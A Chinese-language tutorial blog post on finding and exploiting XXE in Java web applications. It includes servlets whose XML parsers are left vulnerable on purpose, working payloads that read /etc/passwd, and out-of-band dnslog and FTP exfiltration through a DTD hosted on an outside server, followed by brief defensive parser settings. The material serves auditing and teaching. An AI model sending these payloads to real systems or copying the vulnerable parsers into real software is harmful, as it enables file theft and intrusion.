一、XXE漏洞简介
XXE(XML外部实体注入,XML External Entity) ,在应用程序解析XML输入时,当允许引用外部实体时,可构造恶意内容,导致读取任意文件、探测内网端口、攻击内网网站、发起DoS拒绝服务攻击、执行系统命令等。
Java中的XXE支持sun.net.www.protocol 里的所有协议:http,https,file,ftp,mailto,jar,netdoc。一般利用file协议读取文件,利用http协议探测内网,没有回显时可组合利用file协议和ftp协议来读取文件。
二、XXE相关基础概念
1、XML:(可扩展标记语言,EXtensible Markup Language),是一种标记语言,用来传输和存储数据,而非显示数据。
2、DTD:(文档类型定义,Document Type Definition)的作用是定义 XML 文档的合法构建模块。它使用一系列的合法元素来定义文档结构。
3、实体ENTITY:XML中的实体类型,一般有下面几种:字符实体、命名实体(或内部实体)、外部普通实体、外部参数实体。除外部参数实体外,其它实体都以字符(&)开始,以字符(;)结束。
三、java XXE审计函数
1、XML解析一般在导入配置、数据传输接口等场景可能会用到,涉及到XML文件处理的场景可查看XML解析器是否禁用外部实体,从而判断是否存在XXE。部分XML解析接口如下:
javax.xml.parsers.DocumentBuilderFactory;
javax.xml.parsers.SAXParser
javax.xml.transform.TransformerFactory
javax.xml.validation.Validator
javax.xml.validation.SchemaFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.transform.sax.SAXSource
org.xml.sax.XMLReader
org.xml.sax.helpers.XMLReaderFactory
org.dom4j.io.SAXReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.bind.Unmarshaller
javax.xml.xpath.XpathExpression
javax.xml.stream.XMLStreamReader
org.apache.commons.digester3.Digester
2、解析XML的方法越来越多,java中常见有四种,即:DOM、DOM4J、JDOM 和SAX。下面以这四种为例展示java的XXE漏洞。
package com.example.xxe;
import jdk.internal.org.xml.sax.SAXException;
import org.w3c.dom.Document;
import org.w3c.dom.NodeList;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import java.io.IOException;
@WebServlet("/xxe1")
public class xxe1Servlet extends HttpServlet {
// 预设账号
private static final String USERNAME = "admin";
// 预设密码
private static final String PASSWORD = "admin";
// 处理POST请求
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String result = "";
try {
// 使用DOM解析XML
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(request.getInputStream());
// 从XML文档中获取用户名和密码
String username = getValueByTagName(doc, "username");
String password = getValueByTagName(doc, "password");
// 检查用户名和密码是否匹配
if (username.equals(USERNAME) && password.equals(PASSWORD)) {
result = String.format("<result><code>%d</code><msg>%s</msg></result>", 1, username);
} else {
result = String.format("<result><code>%d</code><msg>%s</msg></result>", 0, username);
}
} catch (ParserConfigurationException | org.xml.sax.SAXException e) {
e.printStackTrace();
// 处理XML解析异常
result = String.format("<result><code>%d</code><msg>%s</msg></result>", 3, e.getMessage());
}
// 设置响应内容类型为XML
response.setContentType("text/xml;charset=UTF-8");
// 将结果发送回客户端
response.getWriter().append(result);
}
// 处理GET请求
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
// 将GET请求交给doPost处理
doPost(request, response);
}
/**
* 根据标签名获取对应的值
*
* @param doc XML文档
* @param tagName 标签名
* @return 标签值
*/
public static String getValueByTagName(Document doc, String tagName) {
// 如果文档为空或标签名为空,则返回空字符串
if (doc == null || tagName.equals(null)) {
return "";
}
// 获取文档中所有指定标签的节点
NodeList nodeList = doc.getElementsByTagName(tagName);
// 如果节点列表不为空且长度大于0,则返回第一个节点的文本内容
if (nodeList != null && nodeList.getLength() > 0) {
return nodeList.item(0).getTextContent();
}
// 如果未找到指定标签,则返回空字符串
return "";
}
}
DocumentBuilderFactory.newInstance(): 这是一个工厂类方法,用于获取一个 DocumentBuilderFactory 实例,该实例用于创建 DOM 解析器的实例。
DocumentBuilder db = dbf.newDocumentBuilder(): 使用上一步获取的 DocumentBuilderFactory 实例创建一个 DocumentBuilder 实例。DocumentBuilder 是用于解析 XML 文档的类。
Document doc = db.parse(request.getInputStream()): 使用上一步创建的 DocumentBuilder 实例解析通过 request.getInputStream() 获取到的 XML 文档。这个 XML 文档是通过 HTTP POST 请求的输入流传递进来的。
package com.example;
import org.dom4j.Document;
import org.dom4j.DocumentException;
import org.dom4j.Element;
import org.dom4j.io.SAXReader;
import org.w3c.dom.NodeList;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebFilter;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.util.Iterator;
@WebServlet("/xxe2")
public class xxe2Servlet extends HttpServlet {
private static final long serialVersionUID = 1L;
private static final String USERNAME = "admin";//账号
private static final String PASSWORD = "admin";//密码
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String result="";
try {
//DOM4J Read XML
SAXReader saxReader = new SAXReader();
Document document = saxReader.read(request.getInputStream());
String username = getValueByTagName2(document,"username");
String password = getValueByTagName2(document,"password");
if(username.equals(USERNAME) && password.equals(PASSWORD)){
result = String.format("<result><code>%d</code><msg>%s</msg></result>",1,username);
}else{
result = String.format("<result><code>%d</code><msg>%s</msg></result>",0,username);
}
} catch (DocumentException e) {
System.out.println(e.getMessage());
}
response.setContentType("text/xml;charset=UTF-8");
response.getWriter().append(result);
}
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
doPost(request, response);
}
/**
*
* @param doc 文档
* @param tagName 标签名
* @return 标签值
*/
public static String getValueByTagName2(Document document, String tagName){
if(document == null || tagName.equals(null)){
return "";
}
Element root = document.getRootElement();
for (Iterator<Element> it = root.elementIterator(); it.hasNext();) {
Element myuser = (Element) it.next();
if(myuser.getName().equals(tagName)){
System.out.println(myuser.getName() + ":" + myuser.getText());
System.out.println("**********");
return myuser.getText();
}
}
return "";
}
}
其他代码
JDOM2 Read XML
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String result="";
try {
//JDOM2 Read XML
SAXBuilder builder = new SAXBuilder();
Document document = builder.build(request.getInputStream());
String username = getValueByTagName3(document,"username");
String password = getValueByTagName3(document,"password");
if(username.equals(USERNAME) && password.equals(PASSWORD)){
result = String.format("<result><code>%d</code><msg>%s</msg></result>",1,username);
}else{
result = String.format("<result><code>%d</code><msg>%s</msg></result>",0,username);
}
} catch (JDOMException e) {
System.out.println(e.getMessage());
}
response.setContentType("text/xml;charset=UTF-8");
response.getWriter().append(result);
}
SAX Read XML
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
//https://blog.csdn.net/u011024652/article/details/51516220
String result="";
try {
//SAX Read XML
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser saxparser = factory.newSAXParser();
SAXHandler handler = new SAXHandler();
saxparser.parse(request.getInputStream(), handler);
//为简单,没有提取子元素中的数据,只要调用parse()解析xml就已经触发xxe漏洞了
//没有回显 blind xxe
result = String.format("<result><code>%d</code><msg>%s</msg></result>",0,1);
} catch (ParserConfigurationException e) {
e.printStackTrace();
result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage());
} catch (SAXException e) {
e.printStackTrace();
result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage());
}
response.setContentType("text/xml;charset=UTF-8");
response.getWriter().append(result);
}
四、xxe漏洞利用
回显
使用file协议读取 file:///etc/passwd
内容
POST /xxe1 HTTP/1.1
Host: 192.168.48.118:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Pragma: no-cache
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh,zh-CN;q=0.9,en;q=0.8
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a[
<!ENTITY b SYSTEM "file:///etc/passwd">
]>
<note time="2022.01.23" >
<user>
<username>&b;</username>
<password>123456</password>
</user>
</note>
netdoc协议读取文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lltest[
<!ENTITY xxe SYSTEM "netdoc:///etc/passwd">
]>
<user><username>&xxe;</username><password>123456</password></user>
无回显
xxe dnslog 利用
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lltest[
<!ENTITY xxe SYSTEM "http://h00cjx.dnslog.cn">
]>
<user><username>&xxe;</username><password>123456</password></user>
ftp无回显读取
jdk<7u141/jdk<8u162
在使用ftp 进行 oob 时,对jdk版本有限制, jdk版本 小于 7u141 和 小于 8u162 才可以读取整个文件
可以使用ftp协议 返回要读取的内容
python2 xxe-ftp-server.py 192.168.10.165 82 2121
客户端提交
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///c:/1.txt">
<!ENTITY % dtd SYSTEM "http://192.168.10.165:82/data.dtd"> %dtd;
]>
<data>&send;</data>
五、防御
想要防御java的XXE漏洞,一般采取禁用外部实体的方式,代码如下
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
标签:审计,xml,Java,String,XML,result,XXE,import,javax
From: https://www.cnblogs.com/Gp3r/p/17994687